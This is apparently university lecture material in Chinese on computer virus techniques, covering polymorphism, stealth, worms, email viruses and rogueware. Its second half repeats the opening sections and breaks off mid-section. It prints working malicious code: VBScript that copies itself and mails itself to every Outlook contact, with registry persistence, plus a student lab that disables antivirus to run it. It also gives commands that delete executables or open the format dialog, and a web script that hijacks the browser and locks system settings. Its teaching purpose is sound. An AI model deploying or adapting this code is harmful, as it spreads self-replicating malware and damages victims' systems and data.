计算机病毒技术特征上海交通大学信息安全工程学院一、常见计算机病毒的技术特征
驻留内存
病毒变种
EPO( Entry Point Obscuring)技术
抗分析技术(加密、反跟踪)
隐蔽性病毒技术
多态性病毒技术
插入型病毒技术
超级病毒技术
破坏性感染技术
病毒自动生产技术
网络病毒技术
1 驻留内存,DOS TSR
DOS系统区内存控制块 ( MCB)
内存块 1
为病毒分配的内存块内存块 2
为病毒分配一块内存高端内存区域视频内存块中断向量表空闲区域病毒代码空闲区域空闲区域空闲区域
DOS病毒驻留内存位置示意图
1 驻留内存:引导区病毒的内存驻留
大小在 1K或者几 K
为了避免用户可以很容易的觉察到系统可用内存的减少,一些病毒会等待 DOS完全启动成功,然后使用 DOS自己的功能分配内存。
不用考虑重载。
1 驻留内存,Windows环境下病毒的内存驻留
三种驻留内存的方法
– 由于 Windows操作系统本身就是多任务的,所以最简单的内存驻留方法是将病毒作为一个应用程序,病毒拥有自己的窗口(可能是隐藏的)、拥有自己的消息处理函数;
– 另外一种方法是使用 DPMI申请一块系统内存,然后将病毒代码放到这块内存中;
– 第三种方法是将病毒作为一个 VXD( Win3.x或者 Win9x
环境下的设备驱动程序)或者在 Win NT/ Win2000下的设备驱动程序 WDM加载到内存中运行。
防止重载的方法
– 传统的防止重入方法
禁止启动两个实例
– 对于 VXD病毒
静态加载时,病毒会在,SYSTEM.INI‖文件中包含加载设备驱动程序的一行信息;
动态加载时,可能使用某些英特尔 CPU的一些特殊状态位来表示病毒是否存在于内存中( CIH病毒就采用了这种方法)。
1 驻留内存:宏病毒的内存驻留方法
病毒随着宿主程序而被加载并且一直存在于系统中,所以从某种意义上,宏病毒都是内存驻留病毒。
宏病毒通过检测自己的特征防止重入。
2 病毒变种
变形
变种 ——〉 新品种
两种方式:
– 手工变种
– 自动变种( Mutation Engine:变形机)
– 保加利亚的 Dark Avenger的变形机最著名。
分类
第一类,具备普通病毒所具有的基本特性,然而,病毒每感染一个目标后,
其自身代码与前一被感染目标中的病毒代码几乎没有三个连续的字节是相同的,但这些代码及其相对空间的排列位置是不变动的。这里称其为一维变形病毒。
第二类,除了具备一维变形病毒的特性外,并且那些变化的代码相互间的排列距离(相对空间位置)也是变化的,有的感染文件的字节数不定。这里称其为二维变形病毒。
第三类,具备二维变形病毒的特性,并且能分裂后分别潜藏在几处,随便某一处的子病毒被激发后都能自我恢复成一个完整的病毒。病毒在附着体上的空间位置是变化的,即潜藏的位置不定。例如,在某台机器中,病毒的一部分可能藏在机器硬盘的主引导区中,另外几部分也可能潜藏在可执行文件中,
也可能潜藏在覆盖文件中,也可能潜藏在系统引导区,也可能另开垦一块区域潜藏等等。在另一台被感染的机器内,病毒可能又改变了其潜藏的位置。
这里称其为三维变形病毒。
第四类,具备三维变形病毒的特性,并且,这些特性随时间动态变化。例如,
在染毒的机器中,刚开机时病毒在内存里变化为一个样子,一段时间后又变成了另一个样子,再次开机后病毒在内存里又是一个不同的样子。这里称其为四维变形病毒。
3 EPO( Entry Point Obscuring)
技术
为什么要采用 EPO技术呢?
– 杀毒技术提高 ---〉 防止被发现 ---〉 EPO
三种实现方法:
– 最早的 EPO通过改变程序入口处的代码实现的。
简单但无用
– 把宿主程序的任意位置的指令替换为跳转语句。
难点在于定位一个完整的指令(类似于一个反编译器)
– PATCH IAT的函数 。
如果在一段代码中有一条指令:
228738fd ff15eb0f107d call [7d100febh]
把它替换成新的指令
Call [Address of virus]
在病毒体内还要再次调用 Call [7d100febh]来完成宿主程序的功能。代码如下:
dw ff15h ;ff15eb0f107d的前缀
backaddr dd 0 ;存放 ff15eb0f107d的后缀,这个后缀是变化的
在病毒代码中,把 backaddr的值动态的改为 Call [7d100febh]指令编译后的后缀。
4 抗分析技术
加密技术:这是一种防止静态分析的技术,
使得分析者无法在不执行病毒的情况下,
阅读加密过的病毒程序。
反跟踪技术:使得分析者无法动态跟踪病毒程序的运行。
Win95.Flagger病毒
4 抗分析技术:自加密技术
数据加密(信息加密)
– 例如,6.4计算机病毒就是这样处理的,计算机病毒发作时将在屏幕上显示的字符串被用异或操作的方式加密存储。
– 1575 病毒加密数据文件。加密文件名
COMMAND.COM
病毒代码加密
– Chinese Bomb把宿主程序前 6个字节加密并转移位置。
– 1701/1704用宿主程序的长度作为密钥加密代码。
4 抗分析技术:反跟踪技术
DOS下,修改 int 0-3中断
Windows下:
– 封锁键盘输入
– 关闭屏幕显示
– 修改堆栈指令
– 程序运行计时
– 动态地生成指令代码
5 隐蔽性病毒技术
引导型隐藏方法一
– 感染时,修改中断服务程序
– 使用时,截获 INT 13调用
DOS应用程序原来的 INT13H服务程序
DOS下的杀毒软件病毒感染后的 INT13H服务程序普通扇区普通扇区被病毒感染的扇区被病毒感染的扇区的原始扇区读扇区调用读请求读请求返回数据返回数据返回数据
引导型隐藏方法二
– 针对杀毒软件对磁盘直接读写的特点。
– 截获 INT
21H,然后恢复感染区
– 最后,再进行感染
DOS命令解释程序 ( COMMAND..COM)
感染后的 INT 21H功能 40H( 加载一个程序执行 )
用户敲入 AV.EXE执行反病毒程序恢复被病毒感染的扇区为原来的内容原来的 INT21H功能重新感染扇区返回 DOS命令解释程序 ( COMMAND..COM)
文件型病毒的隐藏技术
拦截( API,INT调用)访问 ——〉 恢复 ——〉
再感染。例如,改变文件大小病毒,dir病毒等
DOSINT21H调用
INT13H( 直接磁盘访问 )
列目录功能 ( FindFirst,FindNext)
读写功能 ( Read,Write)
执行功能 ( EXEC)
其他功能 ( rename等 )
视窗操作系统下,支持长文件名的扩展 DOS
调用隐藏病毒扇区列目录时显示感染前的文件大小读写文件看到正常的文件内容执行或者搜索时隐藏病毒在支持长文件名的系统隐藏自身宏病毒的隐藏技术
删除相关的菜单项:“文件- >模板”或者
“工具- >宏”
使用宏病毒自己的 FileTemplates和
ToolsMacro宏替代系统缺省的宏
6 多态性病毒技术
多态病毒就是没有特殊特征码的病毒,这种病毒无法(或极难)用特征码扫描法检测到。
方法:
– 使用不固定的密钥或者随机数加密病毒代码
– 运行的过程中改变病毒代码
– 通过一些奇怪的指令序列实现多态性
BASIC,Shell等解释性语言可以在一行包括很多语句。
使用加密技术的多态性
MOVreg_1,count
MOVreg_2,key
MOVreg_3,offset
LOOP:
xxx byteptr[reg_3],reg_2
DECreg_1
Jxx LOOP
其中,reg_1,reg_2和 reg_3是从 AX,BX,CX,DX,SI,DI,BP中随机挑选的寄存器,感染不同的文件,解密代码使用随机的寄存器
count是加密数据的长度,key是加密的密钥,offset是加密代码的偏移量,感染的时候,这些数值都是随机生成的,不同的感染都不一样
xxx是 XOR,ADD,SUB等不同运算指令的通称,使用什么运算指令是感染的时候随机选择的
Jxx是 ja,jnc等不同条件跳转指令的通称,使用什么跳转指令也是感染的时候随机选择的加密后的病毒代码改变可执行代码技术的多态病毒
基本上都使用在宏病毒中,其他病毒少见。
– 宏语言都是以 BASIC为基础的。
引导型病毒
– 在引导区或者分区表中,包含了一小段代码来加载实际的病毒代码,这段代码在运行的过程中是可以改变的。
文件型病毒
–,厚度”( Ply)病毒
–,TMC‖病毒多态病毒的级别
半多态,病毒拥有一组解密算法,感染的时候从中间随机的选择一种算法进行加密和感染。
具有不动点的多态,病毒有一条或者几条语句是不变的(我们把这些不变的语句叫做不动点),其他病毒指令都是可变的。
带有填充物的多态,解密代码中包含一些没有实际用途的代码来干扰分析者的视线。
算法固定的多态,解密代码所使用的算法是固定的,但是实现这个算法的指令和指令的次序是可变的。
算法可变的多态,使用了上述所有的技术,同时解密算法也是可以部分或者全部改变的。
完全多态,算法多态,同时病毒体可以随机的分布在感染文件的各个位置,但是在运行的时候能够进行拼装,并且可以正常工作。
查杀技术
对于前面 3种多态病毒,可以使用病毒特征码或者改进后的病毒特征码
对于第 4种多态病毒,可以增加多种情况的改进后的特征码
至于第 5和第 6种多态病毒,依靠传统的特征码技术是完全无能为力的。
最好的办法是虚拟执行技术。
7 插入型病毒技术
DOS下较少
PE病毒大多数都是插入型病毒
– 例如,CIH
8 超级病毒技术
超级病毒技术就是在计算机病毒进行感染、
破坏时,使得病毒预防工具无法获得运行机会的病毒技术。
技术较难实现。
和杀毒技术相比,具有时效性。
9 破坏性感染技术
破坏性感染病毒是针对计算机病毒消除技术的一项病毒技术。
实例:
– Burge病毒是这类病毒的典型代表,该病毒会使宿主文件头部丢失 560字节;
– Hahaha病毒会使宿主程序丢失 13592字节。
传播性差 --〉 破坏面小
– 在潜伏期长的情况下,其传播性可以有所改观。
10 病毒自动生产技术
针对病毒分析的技术
两种类型:
– 根据简单的操作,自动生成病毒( PE,宏病毒等)
– 用自动生成技术实现变种( Mutation Engine)
11 网络病毒技术
网络病毒是指以网络为平台,对计算机产生安全威胁的所有程序的总和,
常见的几种:
– 木马病毒( Trojan)
– 蠕虫病毒( Worm)
– 邮件病毒
– 网页病毒二、流行病毒的关键技术
蠕虫病毒
利用 Outlook漏洞编写病毒
Webpage中的恶意代码
流氓软件
1 蠕虫病毒
蠕虫这个名词的由来是在 1982年,Shock和 Hupp
根据,The Shockwave Rider,一书中的概念提出了一种“蠕虫( Worm)”程序的思想。
蠕虫( Worm)是病毒的一种,它的传播通常不需要所谓的激活。它通过分布式网络来散播特定的信息或错误,进而造成网络服务遭到拒绝并发生死锁。
具有病毒共性:如传播性、隐蔽性、破坏性等
独有的性质:不利用文件寄生,对网络造成拒绝服务,以及和黑客技术相结合等等
两类:
– 一种是面向企业用户和局域网而言,这种病毒利用系统漏洞,主动进行攻击,可以对整个互联网可造成瘫痪性的后果。以“红色 代码”、“尼姆达”以及最新的,SQL蠕虫王”为代表。
– 另外一种是针对个人用户的,通过网络(主要是电子邮件、恶意网页形式)迅速传播的蠕虫病毒,以爱虫病毒、求职信病毒为代 表。
和普通病毒的区别:
普通病毒 蠕虫病毒存在形式 寄存文件 独立程序传染机制 宿主程序运行 主动攻击传染目标 本地文件 网络计算机蠕虫病毒的特性
第一,利用漏洞主动进行攻击
第二,病毒制作技术新
第三,与黑客技术相结合,潜在的威胁和损失更大
第四,传染方式多
第五,传播速度快
第六,清除难度大
第七,破坏性强蠕虫病毒的机理
蠕虫病毒由两部分组成:一个主程序和另一个是引导程序。
– 主程序收集与当前机器联网的其他机器的信息。
利用漏洞在远程机上建立引导程序。
– 引导程序把“蠕虫”病毒带入了它所感染的每一台机器中。
当前流行的病毒主要采用一些已公开漏洞、
脚本、电子邮件等机制进行传播。例如,
IRC,RPC 等漏洞。
蠕虫病毒实例
MSN蠕虫病毒
1,基本特征:
– 名称,IM-Worm.Win32.Webcam.a
– 原始大小,188,928字节
– 压缩形式,PESpin
– 编写语言,Microsoft Visual Basic 6.0
– 文件名称,LMAO.pif,LOL.scr,
naked_drunk.pif等。
2.行为分析:
– ( 1)蠕虫运行后,将释放一个名为 CZ.EXE
文件到 C盘根目录,并将它拷贝到 %system%
目录下,文件名为 winhost.exe。然后,将文件属性设置为隐藏、只读、系统,同时将该文件创建时间改成同系统文件日期一样,进行欺骗迷惑。同时蠕虫会在 C盘跟目录随机生成一个文件,扩展名为 PIF或 EXE等,该文件用来向
MSN好友传播。此外,病毒还会在 %system%
目录下生成 msnus.exe,该文件为蠕虫自身拷贝。
( 2)将自身加入到注册表启动项目保证自身在系统重启动后被加载:
– 位置:
Software\Microsoft\Windows\CurrentVersion\Run
– 键名,win32
– 键值,winhost.exe
– 位置:
Software\Microsoft\Windows\CurrentVersion\RunServ
ices
– 键名,win32
– 键值,winhost.exe
( 3)蠕虫病毒会在 C盘根目录生成一个图片文件,名字为 sexy.jpg,并调用 jpg关联程序打开该图片。一般情况下,会用 IE打开该图片,打开后效果如下图。
( 4)开启本地 TCP10xx端口,
频繁连接目标:10.0.1.128:8080,接受黑客控制。
( 5)查找 MSN窗口,如果存在,则向好友列表中发送消息传播自身。
3,防范方案:
– ( 1)手工清除。按照上面的行为分析,终止并删除相关进程文件,修复注册表。
– ( 2)用户可以避免接收 MSN上发来的陌生附件,包括扩展名为 EXE或 SCR等的附件,来预防该蠕虫。
如何防范蠕虫
预防第一
工具保护
定期扫描你的系统
更新你的防病毒软件
不要轻易执行附件中的 EXE和 COM等可执行程序
不要轻易打开附件中的文档文件
不要直接运行附件
邮件程序设置
谨用预览功能
卸载 Scripting Host
警惕发送出去的邮件
2 利用 Outlook漏洞编写病毒
电子邮件成为新型病毒的重要载体
利用 Outlook漏洞传播的病毒:
–,爱虫( ILoveYou)”
–,美丽杀( Melissa)” ---宏病毒
–,库尔尼科娃”
–,主页 (HomePage)‖
–,欢乐时光( HappyTime)”
邮件病毒分类
附件方式:病毒的主要部分就隐藏在附件中。
–,主页 (HomePage)‖和“爱虫( ILoveYou)”病毒,它们的附件是 VBS文件,也就是病毒关键部分。
邮件本身:病毒并不置身于附件,而是藏身于邮件体之中。
–,欢乐时光( HappyTime)”病毒就是藏身于邮件体中,一旦用户将鼠标移至带毒邮件上,还未阅读邮件就已经中毒了。
嵌入方式:病毒仅仅把电子邮件作为其传播手段。
–,美丽杀( Melissa)”是一种隐蔽性、传播性极大的 Word 97/2K
宏病毒。尽管其核心内容是宏病毒,但在病毒体内有一块代码专门用来传播。当条件符合时,打开用户的电子邮件地址,向前 50
个地址发送被感染的邮件。
电子邮件型病毒的传播原理
自我复制
– Set
fso=CreateObject("Scripting.FileSystemObject
")
– fso.GetFile(WScript.ScriptFullName).Copy("C:
\temp.vbs")
这么两行代码就可以将自身复制到 c盘根目录下 temp.vbs这个文件。
传播 ——电子邮件病毒是通过电子邮件传播的。
– Set ola=CreateObject("Outlook.Application")
– On Error Resume Next
– For x=1 To 50
– Set Mail=ola.CreateItem(0)
– Mail.to=ola.GetNameSpace("MAPI").AddressLists(1).AddressEnt
ries(x)
– Mail.Subject="Betreff der E-Mail"
– Mail.Body="Text der E-Mail"
– Mail.Attachments.Add("C:\temp.vbs")
– Mail.Send
– Next
– ola.Quit
‘调整脚本语言的超时设置。
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\
Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
’修改注册表,使得每次系统启动时自动执行脚本
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run\MSKernel32",dirs
ystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunServices\Win32DL
L",dirwin&"\Win32DLL.vbs"
MSKernel32.vbs和 Win32DLL.vbs是病毒脚本的一个副本破坏性语句
打开磁盘格式化窗口
– Set obj = Wscript.CreateObject(―Wscript.Shell‖)
– Obj.Run ―rundll32.exe shell32.dll,SHFormatDrive‖
打开 Windows关闭窗口
– Set obj = Wscript.CreateObject(―Wscript.Application” )
– Obj.ShutdownWindows
删除当前目录中所有的,exe文件
– Set obj = Wscript.CreateObject(―Wscript.Shell‖)
– Obj.Run(,Command.com /C DEL *.EXE,0,False‖)
写注册表 (写入字符串,TestValue‖)
– Set obj = Wscript.CreateObject(―Wscript.Shell‖)
– Obj.RegWrite ―HKey_Local_Machine\Software\Microsoft‖,―TestValue‖
电子邮件型病毒预防
第一,不要轻易打开陌生人来信中的附件文件。
第二,对于比较熟悉的朋友们寄来的信件,也要注意其附件。
第三,切忌盲目转发。
第四,去掉 Windows脚本执行功能,禁止 VBS文件执行。
第五,不要隐藏系统中已知文件类型的扩展名称。
第六,将系统的网络连接的安全级别设置至少为“中等”,
第七,利用工具。
邮件型病毒实验
【 实验目的 】
– 掌握邮件型病毒基本原理
【 实验平台 】
– Windows XP操作系统
– Outlook邮件客户端
【 实验步骤 】
– Outlook设置用户帐号。
– Outlook地址薄添加联系人。
– 在实验机器上的 C:根目录下创建空文件
test.vbs。
– 关闭反病毒软件的实时防护功能。
– 把实验代码录入到 test.vbs文件里。
– 运行脚本文件,程序启动 Outlook(由于现在的
Outlook版本较高,Outlook会提示是否允许操作,请选择允许)发送邮件。
【 注意事项 】
– 1.为了不给你的地址薄联系人传送垃圾邮件,你可以先将地址薄中的联系人导出,然后添入实验用邮件地址。
实验结束后,再重新导入原来地址薄中的联系人。
– 2.程序运行后,打开实验用邮箱查看实验结果。一般而言,由于现在的邮件服务器都会对邮件进行扫面,所以传送了病毒的邮件不能传送到邮箱。解决办法是:
将程序中的一个语句 ObjMail.Attachments.Add
("c:\test.vbs") 删除,或者将附件 c:\test.vbs文件内容改为其他内容。
Test.vbs的内容
//code begin
Set objOA = Wscript.CreateObject("Outlook.Application")
Set objMapi = objOA.GetNameSpace("MAPI")
For i = 1 to objMapi.AddressLists.Count
Set objAddList = objMapi.AddressLists(i)
For j =1 To objAddList.AddressEntries.Count
Set objMail = objOA.CreateItem(0)
ObjMail.Recipients.Add(objAddList.AddressEntries(j))
ObjMail.Subject = "你好 !"
ObjMail.Body = "这次给你的附件时我实验题!如果收到附件轻不要下载,不要打开。 "
ObjMail.Attachments.Add("c:\test.vbs")
ObjMail.Sent
Next
Next
Set objMapi = Nothing
Set objOA = Nothing
//code end
4 Webpage中的恶意代码
WebPage中的恶意代码主要是指某些网站使用的恶意代码。这些代码打着是给用户加深“印象”、提供“方便”的旗号做令人厌恶的事情。
,万花谷”病毒脚本病毒基本类型
第一,基于 JAVAScript的脚本病毒
第二,基于 VBScript的脚本病毒
– 可以在 Office,浏览器,Outlook中运行,危害性较大。
第三,基于 PHP的脚本病毒
第四,脚本语言和木马程序结合的病毒病毒的工作机理
病毒利用了下面这段 JavaScript代码修改了
HKLM\SOFTWARE\Microsoft\Internet
Explorer\Main\ 和
HKCU\Software\Microsoft\Internet
Explorer\Main\ 中的 Window Title这个键的值。同时,病毒还修改了用户的许多 IE设置,如消除运行( RUN)按钮、消除关闭按钮、消除注销按钮、
隐藏桌面、隐藏盘符、禁止注册表等。以下就是这个病毒的代码:
document.write("");
//该函数是现在收藏夹里增加一个站点
function AddFavLnk(loc,DispName,SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" +
DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//该函数是病毒的主函数,实现 COOKIES检查、
注册表修改等
function f(){
try
{
//声明一个 ActiveX对象
ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
//创建几个实例
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents,cookies.indexOf("Chg") == -1)
{
//设置 IE起始页
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",
"http://www.on888.home.chinaren.com/");
//设置 COOKIES
var expdate = new Date((new Date()).getTime() + (1));
documents,cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//消除 RUN按钮
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\Explorer\\NoRun",01,"REG_BINARY");
//消除关闭按钮
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\Explorer\\NoClose",01,"REG_BINARY");
//消除注销按钮
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\Explorer\\NoLogOff",01,"REG_BINARY");
//隐藏盘符
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\Explorer\\NoDrives","63000000","REG_DWORD");
//禁止注册表
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\System\\DisableRegistryTools","00000001","REG_DWORD");
//禁止运行 DOS程序
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\WinOldApp\\Disabled","00000001","REG_DWORD");
//禁止进入 DOS模式
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\WinOldApp\\NoRealMode","00000001","REG_DWORD");
//开机提示窗口标题
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon
\\LegalNoticeCaption","你已经中毒 …");
//开机提示窗口信息
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon
\\LegalNoticeText","你已经中毒 …");
//设置 IE标题
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title",
"你已经中毒 …");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title",
"你已经中毒 …");
}
}
catch(e)
{}
}
catch(e)
{}
}
//初始化函数
function init()
{
setTimeout("f()",1000);
}
//开始执行
init();
网络炸弹
//首先声明插入脚本为 JavaScript
<script language="JavaScript">
//定义不断打开新窗口的函数 openwindows(),所带参数表明打开窗口数量
function openwindows(number)
{ //循环
for (i = 0; i<number; i++)
{ //指定的页面
window.open("temp.jsp");
}
}
</script> //脚本结束标志类“万花筒病毒 ‖
‘声明脚本为 VBScript
<SCRIPT language='vbscript'>
定义函数 runVirus()
Function runVirus()
实验中弹出对话框告知学员病毒进程
msgbox("将要修改主页了! ")
执行注册表改写 1,把 IE主键修改成 ★ Your Home Page★
Rw "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\
Main\Start Page","★ Your Home Page★ ","REG_SZ"
msgbox("修改主页完成,查看一下吧! ")
msgbox("将要隐藏 A盘盘符! ")
执行注册表改写 2:隐藏 A盘盘符
Rw
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersi
on
\Policies\Explorer\NoDrives","00000001","REG_DWORD"
msgbox("A盘盘符消失! ")
msgbox("注册表工具将要被禁用! ")
执行注册表改写 3:禁用注册表编辑器
Rw
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVer
sion
\Policies\System\DisableRegistryTools","00000001",
"REG_DWORD"
msgbox("注册表工具禁用! ")
End Function
注册表写函数
Sub Rw(k,v,t)
Dim R
On Error Resume Next
关键步骤,调用 WScript.Shell对象来获得修改权利
Set R = CreateObject("WScript.Shell")
调用 WScript.Shell的方法来写注册表
R.RegWrite k,v,t
End Sub
注册表读函数
Function Rg(v)
Dim R
On Error Resume Next
关键步骤,调用 WScript.Shell对象来获得读取权利
Set R = CreateObject("WScript.Shell")
调用 WScript.Shell的方法来读注册表
Rg = R.RegRead(v)
End Function
插入脚本结束
</SCRIPT>
流氓软件
流氓软件定义
– 第一个定义:流氓软件是指具有一定的实用价值但具备电脑病毒和黑客的部分行为特征的软件。它处在合法软件和电脑病毒之间的灰色地带,他会使你无法卸载、并强行弹出广告和窃取用户的私人信息等危害。
– 第二个定义:流氓软件是介于病毒和正规软件之间的软件,同时具备正常功能 (下载、媒体播放等 )和恶意行为 (弹广告、开后门 ),给用户带来实质危害。它们往往采用特殊手段频繁弹出广告窗口,危及用户隐私,严重干扰用户的日常工作、数据安全和个人隐私。
流氓软件是中国大陆对网络上散播的符合如下条件的软件的一种称呼:
– 1、采用多种社会和技术手段,强行或者秘密安装,并抵制卸载;
– 2、强行修改用户软件设置,如浏览器主页,软件自动启动选项,安全选项;
– 3、强行弹出广告,或者其他干扰用户占用系统资源行为;
– 4、有侵害用户信息和财产安全的潜在因素或者隐患;
– 5、未经用户许可,或者利用用户疏忽,或者利用用户缺乏相关知识,秘密收集用户个人信息、秘密和隐私。
应对政策
国外监管制度,2004年美国犹他州通过了第一个针对流氓软件的立法,Spyware Control Act》,
此后又有 18个州完成了立法。
中国:积极开展治理流氓软件活动,2006 年 9 月
4 日,一个非盈利性的专门打击流氓软件的民间组织 ——中国反流氓软件联盟成立。中国互联网协会于同年 12 月 27 日举行了“治理恶意软件、
保护网民权益”的动员大会暨,抵制恶意软件自律公约,签约仪式。
主要特征
1,强迫性安装:
– 不经用户许可自动安装;
– 不给出明显提示,欺骗用户安装;
– 反复提示用户安装,使用户不胜其烦而不得不安装等。
2,无法卸载:
– 正常手段无法卸载;
– 无法完全卸载;
– 不提供卸载程序,或者提供的卸载程序不能用等。
3,干扰正常使用:
– 频繁弹出广告窗口;
– 引导用户使用某功能等。
4,具有病毒和黑客特征:
– 窃取用户信息;
– 耗费机器资源等发展过程
1,恶意网页代码时代( 2001年~ 2002年)
2,插件时代( 2003年~ 2005年)
3,软件捆绑时代( 2005年至今)
4,流氓软件病毒化时代( 2006年下半年至今)
流氓软件分类
1、广告软件( Adware)
2、间谍软件 (Spyware)
3、浏览器劫持
4、行为记录软件( Track Ware)
5、恶意共享软件 (malicious shareware)
反流氓软件工具
1,恶意软件清理助手
2,瑞星卡卡上网安全助手
3,金山毒霸系统清理专家
4,奇虎 360安全卫士
5,微软反间谍软件( Microsoft Antispyware)
6,完美卸载
7,超级兔子网络卫士
8,Wopti流氓软件清除大师
驻留内存
病毒变种
EPO( Entry Point Obscuring)技术
抗分析技术(加密、反跟踪)
隐蔽性病毒技术
多态性病毒技术
插入型病毒技术
超级病毒技术
破坏性感染技术
病毒自动生产技术
网络病毒技术
1 驻留内存,DOS TSR
DOS系统区内存控制块 ( MCB)
内存块 1
为病毒分配的内存块内存块 2
为病毒分配一块内存高端内存区域视频内存块中断向量表空闲区域病毒代码空闲区域空闲区域空闲区域
DOS病毒驻留内存位置示意图
1 驻留内存:引导区病毒的内存驻留
大小在 1K或者几 K
为了避免用户可以很容易的觉察到系统可用内存的减少,一些病毒会等待 DOS完全启动成功,然后使用 DOS自己的功能分配内存。
不用考虑重载。
1 驻留内存,Windows环境下病毒的内存驻留
三种驻留内存的方法
– 由于 Windows操作系统本身就是多任务的,所以最简单的内存驻留方法是将病毒作为一个应用程序,病毒拥有自己的窗口(可能是隐藏的)、拥有自己的消息处理函数;
– 另外一种方法是使用 DPMI申请一块系统内存,然后将病毒代码放到这块内存中;
– 第三种方法是将病毒作为一个 VXD( Win3.x或者 Win9x
环境下的设备驱动程序)或者在 Win NT/ Win2000下的设备驱动程序 WDM加载到内存中运行。
防止重载的方法
– 传统的防止重入方法
禁止启动两个实例
– 对于 VXD病毒
静态加载时,病毒会在,SYSTEM.INI‖文件中包含加载设备驱动程序的一行信息;
动态加载时,可能使用某些英特尔 CPU的一些特殊状态位来表示病毒是否存在于内存中( CIH病毒就采用了这种方法)。
1 驻留内存:宏病毒的内存驻留方法
病毒随着宿主程序而被加载并且一直存在于系统中,所以从某种意义上,宏病毒都是内存驻留病毒。
宏病毒通过检测自己的特征防止重入。
2 病毒变种
变形
变种 ——〉 新品种
两种方式:
– 手工变种
– 自动变种( Mutation Engine:变形机)
– 保加利亚的 Dark Avenger的变形机最著名。
分类
第一类,具备普通病毒所具有的基本特性,然而,病毒每感染一个目标后,
其自身代码与前一被感染目标中的病毒代码几乎没有三个连续的字节是相同的,但这些代码及其相对空间的排列位置是不变动的。这里称其为一维变形病毒。
第二类,除了具备一维变形病毒的特性外,并且那些变化的代码相互间的排列距离(相对空间位置)也是变化的,有的感染文件的字节数不定。这里称其为二维变形病毒。
第三类,具备二维变形病毒的特性,并且能分裂后分别潜藏在几处,随便某一处的子病毒被激发后都能自我恢复成一个完整的病毒。病毒在附着体上的空间位置是变化的,即潜藏的位置不定。例如,在某台机器中,病毒的一部分可能藏在机器硬盘的主引导区中,另外几部分也可能潜藏在可执行文件中,
也可能潜藏在覆盖文件中,也可能潜藏在系统引导区,也可能另开垦一块区域潜藏等等。在另一台被感染的机器内,病毒可能又改变了其潜藏的位置。
这里称其为三维变形病毒。
第四类,具备三维变形病毒的特性,并且,这些特性随时间动态变化。例如,
在染毒的机器中,刚开机时病毒在内存里变化为一个样子,一段时间后又变成了另一个样子,再次开机后病毒在内存里又是一个不同的样子。这里称其为四维变形病毒。
3 EPO( Entry Point Obscuring)
技术
为什么要采用 EPO技术呢?
– 杀毒技术提高 ---〉 防止被发现 ---〉 EPO
三种实现方法:
– 最早的 EPO通过改变程序入口处的代码实现的。
简单但无用
– 把宿主程序的任意位置的指令替换为跳转语句。
难点在于定位一个完整的指令(类似于一个反编译器)
– PATCH IAT的函数 。
如果在一段代码中有一条指令:
228738fd ff15eb0f107d call [7d100febh]
把它替换成新的指令
Call [Address of virus]
在病毒体内还要再次调用 Call [7d100febh]来完成宿主程序的功能。代码如下:
dw ff15h ;ff15eb0f107d的前缀
backaddr dd 0 ;存放 ff15eb0f107d的后缀,这个后缀是变化的
在病毒代码中,把 backaddr的值动态的改为 Call [7d100febh]指令编译后的后缀。
4 抗分析技术
加密技术:这是一种防止静态分析的技术,
使得分析者无法在不执行病毒的情况下,
阅读加密过的病毒程序。
反跟踪技术:使得分析者无法动态跟踪病毒程序的运行。
Win95.Flagger病毒
4 抗分析技术:自加密技术
数据加密(信息加密)
– 例如,6.4计算机病毒就是这样处理的,计算机病毒发作时将在屏幕上显示的字符串被用异或操作的方式加密存储。
– 1575 病毒加密数据文件。加密文件名
COMMAND.COM
病毒代码加密
– Chinese Bomb把宿主程序前 6个字节加密并转移位置。
– 1701/1704用宿主程序的长度作为密钥加密代码。
4 抗分析技术:反跟踪技术
DOS下,修改 int 0-3中断
Windows下:
– 封锁键盘输入
– 关闭屏幕显示
– 修改堆栈指令
– 程序运行计时
– 动态地生成指令代码
5 隐蔽性病毒技术
引导型隐藏方法一
– 感染时,修改中断服务程序
– 使用时,截获 INT 13调用
DOS应用程序原来的 INT13H服务程序
DOS下的杀毒软件病毒感染后的 INT13H服务程序普通扇区普通扇区被病毒感染的扇区被病毒感染的扇区的原始扇区读扇区调用读请求读请求返回数据返回数据返回数据
引导型隐藏方法二
– 针对杀毒软件对磁盘直接读写的特点。
